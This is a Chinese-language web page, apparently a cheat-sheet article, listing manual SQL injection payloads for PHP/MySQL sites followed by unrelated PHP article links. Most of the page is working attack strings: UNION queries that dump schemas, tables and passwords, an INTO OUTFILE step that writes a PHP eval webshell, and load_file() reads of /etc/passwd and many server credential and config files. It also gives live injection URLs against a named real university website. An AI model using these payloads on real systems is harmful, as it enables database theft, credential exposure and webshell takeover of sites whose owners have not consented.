PHP+MySQL 手工注入語句大全 推薦
暴字段長度
Order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用內(nèi)置函數(shù)暴數(shù)據(jù)庫信息
version() database() user()
不用猜解可用字段暴數(shù)據(jù)庫信息(有些網(wǎng)站不適用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系統(tǒng)信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
數(shù)據(jù)庫權(quán)限:
and ord(mid(user(),1,1))=114 /* 返回正常說明為root
暴庫 (mysql>5.0)
Mysql 5 以上有內(nèi)置庫 information_schema,存儲(chǔ)著mysql的所有數(shù)據(jù)庫和表結(jié)構(gòu)信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(十六進(jìn)制) limit 0(開始的記錄,0為第一個(gè)開始記錄),1(顯示1條記錄)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進(jìn)制)limit 0,1
暴密碼
and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1
高級(jí)用法(一個(gè)可用字段顯示兩個(gè)數(shù)據(jù)內(nèi)容):
Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
直接寫馬(Root權(quán)限)
條件:1、知道站點(diǎn)物理路徑
2、有足夠大的權(quán)限(可以用select …. from mysql.user測試)
3、magic_quotes_gpc()=OFF
select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路徑'
and 1=2 union all select 一句話HEX值 into outfile '路徑'
load_file() 常用路徑:
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個(gè)是查看一個(gè)PHP文件里完全顯示代碼.有些時(shí)候不替換一些字符,如 “<” 替換成”空格” 返回的是網(wǎng)頁.而無法查看到代碼.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統(tǒng)根目錄
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機(jī)配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統(tǒng)apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發(fā)的網(wǎng)站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統(tǒng)配置的JSP虛擬主機(jī)
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機(jī)配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對(duì)3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機(jī)查看
15、 /etc/sysconfig/iptables 本看防火墻策略
16 、 usr/local/app/php5 b/php.ini PHP 的相當(dāng)設(shè)置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統(tǒng)版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統(tǒng)中的用戶密碼
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相關(guān)設(shè)置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網(wǎng)站設(shè)置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini
網(wǎng)站常用配置文件 config.inc.php、config.php。load_file()時(shí)要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格
手工注射時(shí)出現(xiàn)的問題:
當(dāng)注射后頁面顯示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
這是由于前后編碼不一致造成的,
解決方法:在參數(shù)前加上 unhex(hex(參數(shù)))就可以了。上面的URL就可以改為:
http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
既可以繼續(xù)注射了。。。
相關(guān)文章
apache+codeigniter 通過.htcaccess做動(dòng)態(tài)二級(jí)域名解析
今天將服務(wù)器php版本升到了5.4.4,然后將之前的一個(gè)項(xiàng)目改用apache,動(dòng)態(tài)二級(jí)轉(zhuǎn)向用.htcaccess實(shí)現(xiàn)了動(dòng)態(tài)二級(jí)域名解析,共享一下2012-07-07php數(shù)組函數(shù)array_push()、array_pop()及array_shift()簡單用法示例
這篇文章主要介紹了php數(shù)組函數(shù)array_push()、array_pop()及array_shift()簡單用法,結(jié)合實(shí)例形式分析了PHP數(shù)組函數(shù)array_push()、array_pop()及array_shift()操作數(shù)組的入棧、出棧、移除等相關(guān)實(shí)現(xiàn)技巧,需要的朋友可以參考下2020-01-01PHP基于PDO擴(kuò)展操作mysql數(shù)據(jù)庫示例
這篇文章主要介紹了PHP基于PDO擴(kuò)展操作mysql數(shù)據(jù)庫,結(jié)合實(shí)例形式分析了php使用pdo擴(kuò)展針對(duì)mysql數(shù)據(jù)庫的查詢、插入、修改等操作實(shí)現(xiàn)技巧,需要的朋友可以參考下2018-12-12php中l(wèi)trim()、rtrim()與trim()刪除字符空格實(shí)例
這篇文章主要介紹了php中l(wèi)trim()、rtrim()與trim()刪除字符空格的方法.以實(shí)例形式分別講述了ltrim()、rtrim()與trim()的具體用法,具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2014-11-11